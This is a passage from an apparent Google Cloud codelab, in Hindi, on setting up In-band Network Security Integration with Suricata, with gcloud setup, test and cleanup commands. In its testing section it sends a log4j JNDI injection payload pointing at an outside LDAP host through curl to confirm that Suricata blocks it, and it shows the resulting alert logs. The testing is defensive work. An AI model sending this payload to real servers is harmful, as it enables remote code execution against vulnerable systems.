gcloud network-security intercept-endpoint-group-associations create nsi-endpoint-group-assoc \
--location global \
--network consumer-vpc \
--no-async \
--intercept-endpoint-group projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group
पुष्टि करें:
gcloud network-security intercept-endpoint-group-associations describe nsi-endpoint-group-assoc \
--location global
आउटपुट का उदाहरण:
createTime: '2025-01-16T06:40:21.125202733Z' interceptEndpointGroup: projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group locations: - location: $zonea state: ACTIVE - location: $zoneb state: ACTIVE name: projects/$project_id/locations/global/interceptEndpointGroupAssociations/nsi-endpoint-group-assoc network: projects/$project_id/global/networks/consumer-vpc reconciling: false state: ACTIVE updateTime: '2025-01-16T06:40:56.085493855Z'
सुरक्षा प्रोफ़ाइल और सुरक्षा प्रोफ़ाइल ग्रुप
इसके बाद, इंटरसेप्ट करने के लिए कस्टम सुरक्षा प्रोफ़ाइल बनाएँ और उसे सुरक्षा प्रोफ़ाइल ग्रुप से अटैच करें. सुरक्षा प्रोफ़ाइल और सुरक्षा प्रोफ़ाइल ग्रुप का इस्तेमाल, तीसरे पक्ष के डिवाइसों के लिए पैकेट इंटरसेप्शन के लिए किया जाता है.
- कस्टम-इंटरसेप्ट सिक्योरिटी प्रोफ़ाइल बनाने के लिए:
gcloud network-security security-profiles custom-intercept create nsi-intercept-profile \
--organization $org_id \
--location global \
--billing-project $project_id \
--intercept-endpoint-group projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group
पुष्टि करें कि सुरक्षा प्रोफ़ाइल सही तरीके से बन गई है:
gcloud network-security security-profiles custom-intercept \ describe nsi-intercept-profile \ --organization=$org_id \ --location=global
आउटपुट का उदाहरण:
{
"createTime": "2025-01-16T20:25:21.545756039Z",
"customInterceptProfile": {
"interceptEndpointGroup": "projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group"
},
"etag": "vBAcVRe70k70rNJ3stzuCAvp_JbiPD2IWqcHKKAGlzw",
"name": "organizations/$org_id/locations/global/securityProfiles/nsi-intercept-profile",
"type": "CUSTOM_INTERCEPT",
"updateTime": "2025-01-16T20:25:24.101764860Z"
}
- सुरक्षा प्रोफ़ाइल ग्रुप बनाएं:
gcloud network-security security-profile-groups create nsi-spg \ --custom-intercept-profile=nsi-intercept-profile \ --organization=$org_id \ --project=$project_id \ --location=global
पुष्टि करें कि एसपीजी सही तरीके से बन गया है:
gcloud network-security security-profile-groups describe nsi-spg \
--organization $org_id \
--billing-project $project_id \
--location global
आउटपुट का उदाहरण:
"createTime": "2025-01-16T20:31:23.545946850Z", "customInterceptProfile": "organizations/$org_id/locations/global/securityProfiles/nsi-intercept-profile", "etag": "bAE-90dCYvYfOKga4EfGXWRGuJXJpsiTEEgVsw3AmM0", "name": "organizations/$org_id/locations/global/securityProfileGroups/nsi-spg", "updateTime": "2025-01-16T20:31:27.588870973Z"
फ़ायरवॉल की नीति, नियम, और असोसिएशन
- ग्लोबल नेटवर्क फ़ायरवॉल की नीति बनाएं:
gcloud compute network-firewall-policies create consumer-fwpolicy \
--global
- फ़ायरवॉल के नियम बनाएं:
gcloud compute network-firewall-policies rules create 200 \
--description="allow ssh traffic from identity-aware-proxy ranges" \
--action=allow \
--firewall-policy=consumer-fwpolicy \
--global-firewall-policy \
--layer4-configs=tcp:22 \
--direction=INGRESS \
--src-ip-ranges=35.235.240.0/20
- फ़ायरवॉल का ऐसा नियम बनाएं जो NSI का इस्तेमाल करके, सभी इग्रैस ट्रैफ़िक को इंटरसेप्ट कर सके. इससे, तीसरे पक्ष के ऐप्लिकेशन को पारदर्शी तरीके से ट्रैफ़िक भेजा जा सकेगा. इस नियम के तहत, टीसीपी:80 का सारा इग्रेस ट्रैफ़िक जांच के लिए भेजा जाएगा.
gcloud compute network-firewall-policies rules create 800 \
--action APPLY_SECURITY_PROFILE_GROUP \
--firewall-policy consumer-fwpolicy \
--security-profile-group "organizations/$org_id/locations/global/securityProfileGroups/nsi-spg" \
--direction EGRESS \
--layer4-configs tcp:80 \
--dest-ip-ranges 0.0.0.0/0 \
--global-firewall-policy
- क्लाउड फ़ायरवॉल की नीति को वीपीसी नेटवर्क से जोड़ें:
gcloud compute network-firewall-policies associations create \
--firewall-policy consumer-fwpolicy \
--network consumer-vpc \
--name consumer-fwpolicy-association \
--global-firewall-policy
उपभोक्ता वीएम
- एनएसआई की पुष्टि करने के लिए इस्तेमाल की जाने वाली वीएम को डिप्लॉय करें. आपको तीन ज़ोन में तीन वीएम डिप्लॉय करने होंगे. याद रखें कि सिर्फ़ दो ज़ोन में NSI की सुविधा चालू है, जबकि $zonec में यह सुविधा चालू नहीं है.
gcloud compute instances create consumer-$zonea \ --shielded-secure-boot \ --subnet=consumer-$region-subnet \ --private-network-ip 192.168.0.3 \ --no-address \ --zone $zonea gcloud compute instances create consumer-$zoneb \ --shielded-secure-boot \ --subnet=consumer-$region-subnet \ --private-network-ip 192.168.0.4 \ --no-address \ --zone $zoneb gcloud compute instances create consumer-$zonec \ --shielded-secure-boot \ --subnet=consumer-$region-subnet \ --private-network-ip 192.168.0.5 \ --no-address \ --zone $zonec
इन-बैंड नेटवर्क सुरक्षा इंटिग्रेशन की टेस्टिंग
- $zonea (consumer-$zonea) में मौजूद वीएम में एसएसएच करें. टेस्ट ट्रैफ़िक भेजें:
gcloud compute ssh consumer-$zonea \ --zone $zonea
- http://www.google.com पर टेस्ट ट्रैफ़िक भेजें:
curl -w "%{http_code}\\n" -s -o /dev/null http://www.google.com/ --max-time 2
अनुमानित आउटपुट:
200
एचटीटीपी 200 स्टेटस कोड से पता चलता है कि क्लाइंट का अनुरोध, सर्वर को मिल गया है. साथ ही, सर्वर ने उसे समझ लिया है और प्रोसेस कर लिया है.
- NSI के ज़रिए, ऐसे log4j अनुरोध भेजें जिन्हें Suricata को ब्लॉक करना चाहिए.
curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' http://www.google.com --max-time 2
अनुमानित आउटपुट:
000
000 एचटीटीपी रिस्पॉन्स कोड, एक अनौपचारिक और नॉन-स्टैंडर्ड कोड है. इसका इस्तेमाल कुछ सॉफ़्टवेयर करते हैं. इससे पता चलता है कि कोई मान्य एचटीटीपी स्टेटस कोड नहीं मिला. इसका मतलब है कि अनुरोध को फ़ायरवॉल ने ब्लॉक कर दिया है.
- एसएसएच सेशन से बाहर निकलकर, Cloud Shell पर वापस जाएं
exit
- $zoneb (consumer-$zoneb) में मौजूद वीएम में एसएसएच करें
gcloud compute ssh consumer-$zoneb \ --zone $zoneb
- इसी तरह, टेस्ट ट्रैफ़िक भेजें:
curl -w "%{http_code}\\n" -s -o /dev/null http://www.google.com/ --max-time 2
अनुमानित आउटपुट:
200
- log4j का अनुरोध भेजें:
curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' http://www.google.com --max-time 2
अनुमानित आउटपुट:
000
- एसएसएच सेशन से बाहर निकलकर, Cloud Shell पर वापस जाएं
exit
- $zonec (consumer-$zonec) में मौजूद वीएम में एसएसएच करें
gcloud compute ssh consumer-$zonec \ --zone $zonec
- इसी तरह, टेस्ट ट्रैफ़िक भेजें:
curl -w "%{http_code}\\n" -s -o /dev/null http://www.google.com/ --max-time 2
अनुमानित आउटपुट:
200
- log4j का अनुरोध भेजें:
curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' http://www.google.com --max-time 2
अनुमानित आउटपुट:
200
ध्यान दें कि यह अनुरोध पूरा हो गया है. ऐसा इसलिए हुआ है, क्योंकि आपने $zonec के साथ एनएसआई को कॉन्फ़िगर नहीं किया है. इंटरसेप्ट एंडपॉइंट ग्रुप में, सिर्फ़ $zonea और $zoneb के लिए असोसिएशन हैं.
- एसएसएच सेशन से बाहर निकलकर, Cloud Shell पर वापस जाएं
exit
इस बात की पुष्टि करना कि Suricata को नुकसान पहुंचाने वाले अनुरोध मिले और उन्हें ब्लॉक किया गया
- लॉग की जांच करने के लिए, $zonea में मौजूद Suricata वीएम (suricata-$zonea) में एसएसएच करें:
gcloud compute ssh suricata-$zonea \ --zone $zonea
- हमले के टाइप के हिसाब से फ़िल्टर किए गए लॉग देखें:
cat /var/log/suricata/eve.json | grep log4j
आपको कुछ एंट्री दिख सकती हैं. अगर आपको कोई एंट्री नहीं दिखती है, तो $zoneb में Suricata VM के लॉग देखें. आउटपुट का उदाहरण:
{"timestamp":"2025-01-22T19:54:37.347753+0000","flow_id":905867843361350,"in_iface":"ens4","event_type":"alert","src_ip":"192.168.0.2","src_port":58740,"dest_ip":"74.125.197.105","dest_port":80,"proto":"TCP","metadata":{"flowbits":["tcp.retransmission.alerted"],"flowints":{"tcp.retransmission.count":10}},"alert":{"action":"allowed","gid":1,"signature_id":2034783,"rev":2,"signature":"ET HUNTING Possible Apache log4j RCE Attempt - Any Protocol TCP (Outbound) (CVE-2021-44228)","category":"Misc activity","severity":3,"metadata":{"attack_target":["Server"],"confidence":["Medium"],"created_at":["2021_12_17"],"cve":["CVE_2021_44228"],"deployment":["Internal","Perimeter"],"mitre_tactic_id":["TA0001"],"mitre_tactic_name":["Initial_Access"],"mitre_technique_id":["T1190"],"mitre_technique_name":["Exploit_Public_Facing_Application"],"reviewed_at":["2024_05_07"],"signature_severity":["Major"],"tag":["Exploit"],"updated_at":["2021_12_17"]}},"http":{"hostname":"www.google.com","url":"/","http_user_agent":"${jndi:ldap://123.123.123.123:8081/a}","http_method":"GET","protocol":"HTTP/1.1","length":0},"app_proto":"http","flow":{"pkts_toserver":30,"pkts_toclient":24,"bytes_toserver":3672,"bytes_toclient":1280,"start":"2025-01-22T19:46:12.023110+0000"}}
- एसएसएच सेशन से बाहर निकलकर, Cloud Shell पर वापस जाएं
exit
इसके अलावा, $zoneb में मौजूद Suricata वीएम (suricata-$zoneb) में एसएसएच किया जा सकता है और लॉग की पुष्टि की जा सकती है
gcloud compute ssh suricata-$zoneb \ --zone $zoneb
हमले के टाइप के हिसाब से फ़िल्टर किए गए लॉग देखें:
cat /var/log/suricata/eve.json | grep log4j
आउटपुट का उदाहरण:
{"timestamp":"2025-01-22T19:56:59.374251+0000","flow_id":552447884886066,"in_iface":"ens4","event_type":"alert","src_ip":"192.168.0.4","src_port":52072,"dest_ip":"74.125.135.105","dest_port":80,"proto":"TCP","metadata":{"flowbits":["tcp.retransmission.alerted"],"flowints":{"tcp.retransmission.count":10}},"alert":{"action":"allowed","gid":1,"signature_id":2034783,"rev":2,"signature":"ET HUNTING Possible Apache log4j RCE Attempt - Any Protocol TCP (Outbound) (CVE-2021-44228)","category":"Misc activity","severity":3,"metadata":{"attack_target":["Server"],"confidence":["Medium"],"created_at":["2021_12_17"],"cve":["CVE_2021_44228"],"deployment":["Internal","Perimeter"],"mitre_tactic_id":["TA0001"],"mitre_tactic_name":["Initial_Access"],"mitre_technique_id":["T1190"],"mitre_technique_name":["Exploit_Public_Facing_Application"],"reviewed_at":["2024_05_07"],"signature_severity":["Major"],"tag":["Exploit"],"updated_at":["2021_12_17"]}},"http":{"hostname":"www.google.com","url":"/","http_user_agent":"${jndi:ldap://123.123.123.123:8081/a}","http_method":"GET","protocol":"HTTP/1.1","length":0},"app_proto":"http","flow":{"pkts_toserver":30,"pkts_toclient":24,"bytes_toserver":3672,"bytes_toclient":1280,"start":"2025-01-22T19:50:07.098354+0000"}}
इसके अलावा, पैकेट कैप्चर की मदद से ट्रैफ़िक को देखा और उसकी पुष्टि की जा सकती है.
इस कमांड से, GENEVE पैकेट फ़िल्टर किए जाएंगे. निर्देश का उदाहरण:
sudo tcpdump -i any -nn udp port 6081
अब उपभोक्ता वीएम से कुछ टेस्ट ट्रैफ़िक भेजें. आउटपुट का उदाहरण:
05:53:50.719074 ens4 In IP 10.0.0.1.28006 > 10.0.0.11.6081: Geneve, Flags [none], vni 0x0, options [40 bytes]: IP 192.168.0.2.56988 > 74.125.197.105.80: Flags [S], seq 3051541109, win 65320, options [mss 1420,sackOK,TS val 1951282372 ecr 0,nop,wscale 7], length 0 05:53:50.719190 ens4 Out IP 10.0.0.11.28006 > 10.0.0.1.6081: Geneve, Flags [none], vni 0x0, options [40 bytes]: IP 192.168.0.2.56988 > 74.125.197.105.80: Flags [S], seq 3051541109, win 65320, options [mss 1420,sackOK,TS val 1951282372 ecr 0,nop,wscale 7], length 0 05:53:50.728752 ens4 In IP 10.0.0.1.28006 > 10.0.0.11.6081: Geneve, Flags [none], vni 0x0, options [40 bytes]: IP 74.125.197.105.80 > 192.168.0.2.56988: Flags [S.], seq 1472275282, ack 3051541110, win 31856, options [mss 1460,sackOK,TS val 2006244508 ecr 1951282372,nop,wscale 8], length 0 05:53:50.728785 ens4 Out IP 10.0.0.11.28006 > 10.0.0.1.6081: Geneve, Flags [none], vni 0x0, options [40 bytes]: IP 74.125.197.105.80 > 192.168.0.2.56988: Flags [S.], seq 1472275282, ack 3051541110, win 31856, options [mss 1460,sackOK,TS val 2006244508 ecr 1951282372,nop,wscale 8], length 0
ध्यान दें कि tcpdump की मदद से, GENEVE हेडर देखे जा सकते हैं. सोर्स आईपी, सबनेट गेटवे (10.0.0.1) का है और डेस्टिनेशन आईपी, फ़ॉरवर्डिंग के नियम (10.0.0.11 या 10.0.0.12) का है. इन कैप्सूल वाले पैकेट में ओरिजनल पैकेट शामिल होते हैं. जैसे, consumer-$zonea (192.168.0.2) या consumer-$zoneb (192.168.0.3) का क्लाइंट आईपी और डेस्टिनेशन google.com. इससे पुष्टि होती है कि पैकेट को इंटरसेप्ट किया जा रहा है और Network Security Integration के ज़रिए, तीसरे पक्ष के ऐप्लिकेशन को भेजा जा रहा है.
- एसएसएच सेशन से बाहर निकलकर, Cloud Shell पर वापस जाएं
exit
बधाई हो। आपने इन-बैंड नेटवर्क सुरक्षा इंटिग्रेशन (एनएसआई) के साथ एनवायरमेंट को डिप्लॉय और टेस्ट कर लिया है.
5. क्लीन अप करें
उपयोगकर्ता
उपयोगकर्ता के वीएम मिटाएं:
gcloud compute instances delete consumer-$zonea \ --zone $zonea -q gcloud compute instances delete consumer-$zoneb \ --zone $zoneb -q gcloud compute instances delete consumer-$zonec \ --zone $zonec -q
फ़ायरवॉल असोसिएशन और नीति मिटाना:
gcloud compute network-firewall-policies associations delete \
--firewall-policy consumer-fwpolicy \
--name consumer-fwpolicy-association \
--global-firewall-policy -q
gcloud compute network-firewall-policies delete consumer-fwpolicy \
--global -q
सुरक्षा प्रोफ़ाइल ग्रुप और सुरक्षा प्रोफ़ाइल मिटाने के लिए:
gcloud network-security security-profile-groups delete nsi-spg \
--organization=$org_id \
--project=$project_id \
--location=global -q
gcloud network-security security-profiles custom-intercept delete nsi-intercept-profile \
--organization $org_id \
--location global -q
एंडपॉइंट के असोसिएशन और इंटरसेप्ट एंडपॉइंट ग्रुप मिटाएं:
gcloud network-security intercept-endpoint-group-associations delete nsi-endpoint-group-assoc \
--location global -q
gcloud network-security intercept-endpoint-groups delete nsi-endpoint-group \
--location global -q
Cloud NAT, Cloud Router, और रिज़र्व किए गए आईपी पते को मिटाएं
gcloud compute routers nats delete consumer-cloudnat-$region \
--router=consumer-$region-cr --router-region $region -q
gcloud compute routers delete consumer-$region-cr \
--region=$region -q
gcloud compute addresses delete consumer-$region-cloudnatip \
--region=$region -q
वीपीसी और सबनेट मिटाना
gcloud compute networks subnets delete consumer-$region-subnet \ --region $region -q gcloud compute networks delete consumer-vpc -q
Producer
इंटरसेप्ट डिप्लॉयमेंट मिटाने के लिए:
gcloud network-security intercept-deployments delete nsi-deployment-$zonea \
--location $zonea -q
gcloud network-security intercept-deployments delete nsi-deployment-$zoneb \
--location $zoneb -q
इंटरसेप्ट डिप्लॉयमेंट ग्रुप मिटाएं (इस कमांड के पूरा होने से पहले, इंटरसेप्ट डिप्लॉयमेंट मिटाने की प्रोसेस पूरी होनी चाहिए):
gcloud network-security intercept-deployment-groups delete producer-nsi-deployment-group \
--location global -q
फ़ॉरवर्ड करने के नियम मिटाएं:
gcloud compute forwarding-rules delete producer-fr-$zonea \ --region=projects/$project_id/regions/$region -q gcloud compute forwarding-rules delete producer-fr-$zoneb \ --region=projects/$project_id/regions/$region -q
फ़ॉरवर्ड करने का नियम मिटाएं, आईपी पता रिज़र्व किया गया है:
gcloud compute addresses delete producer-fr-$zonea-ip \
--region $region -q
gcloud compute addresses delete producer-fr-$zoneb-ip \
--region $region -q
बैकएंड सेवा मिटाने के लिए:
gcloud compute backend-services delete producer-bes \ --region=projects/$project_id/regions/$region -q
मैनेज नहीं किए गए इंस्टेंस ग्रुप मिटाएं:
gcloud compute instance-groups unmanaged delete producer-$zonea-uig \ --zone $zonea -q gcloud compute instance-groups unmanaged delete producer-$zoneb-uig \ --zone $zoneb -q
हेल्थ चेक मिटाएं:
gcloud compute health-checks delete nva-hc -q
प्रोड्यूसर वीएम मिटाएं:
gcloud compute instances delete suricata-$zonea \ --zone $zonea -q gcloud compute instances delete suricata-$zoneb \ --zone $zoneb -q
Cloud NAT, Cloud Router, और रिज़र्व किए गए आईपी पते को मिटाएं:
gcloud compute routers nats delete producer-cloudnat-$region \ --router=producer-$region-cr --router-region $region -q gcloud compute routers delete producer-$region-cr \ --region=$region -q gcloud compute addresses delete producer-$region-cloudnatip --region=$region -q
फ़ायरवॉल की नीति का असोसिएशन मिटाने के लिए:
gcloud compute network-firewall-policies associations delete \
--firewall-policy producer-fwpolicy \
--name producer-fwpolicy-association \
--global-firewall-policy -q
फ़ायरवॉल की नीति मिटाएं:
gcloud compute network-firewall-policies delete producer-fwpolicy \ --global -q
वीपीसी और सबनेट मिटाना
gcloud compute networks subnets delete producer-$region-subnet \ --region=$region -q gcloud compute networks delete producer-vpc -q
6. बधाई हो!
बधाई हो, आपने Suricata codelab के साथ In-band Network Security Integration को पूरा कर लिया है.
एनएसआई इन-बैंड वेंडर के लिए खास डेमो वीडियो देखें:
वेंडर के हिसाब से डिप्लॉयमेंट की कुछ ऐसी गाइड देखें जो आपके संगठन के लिए काम की हो सकती हैं: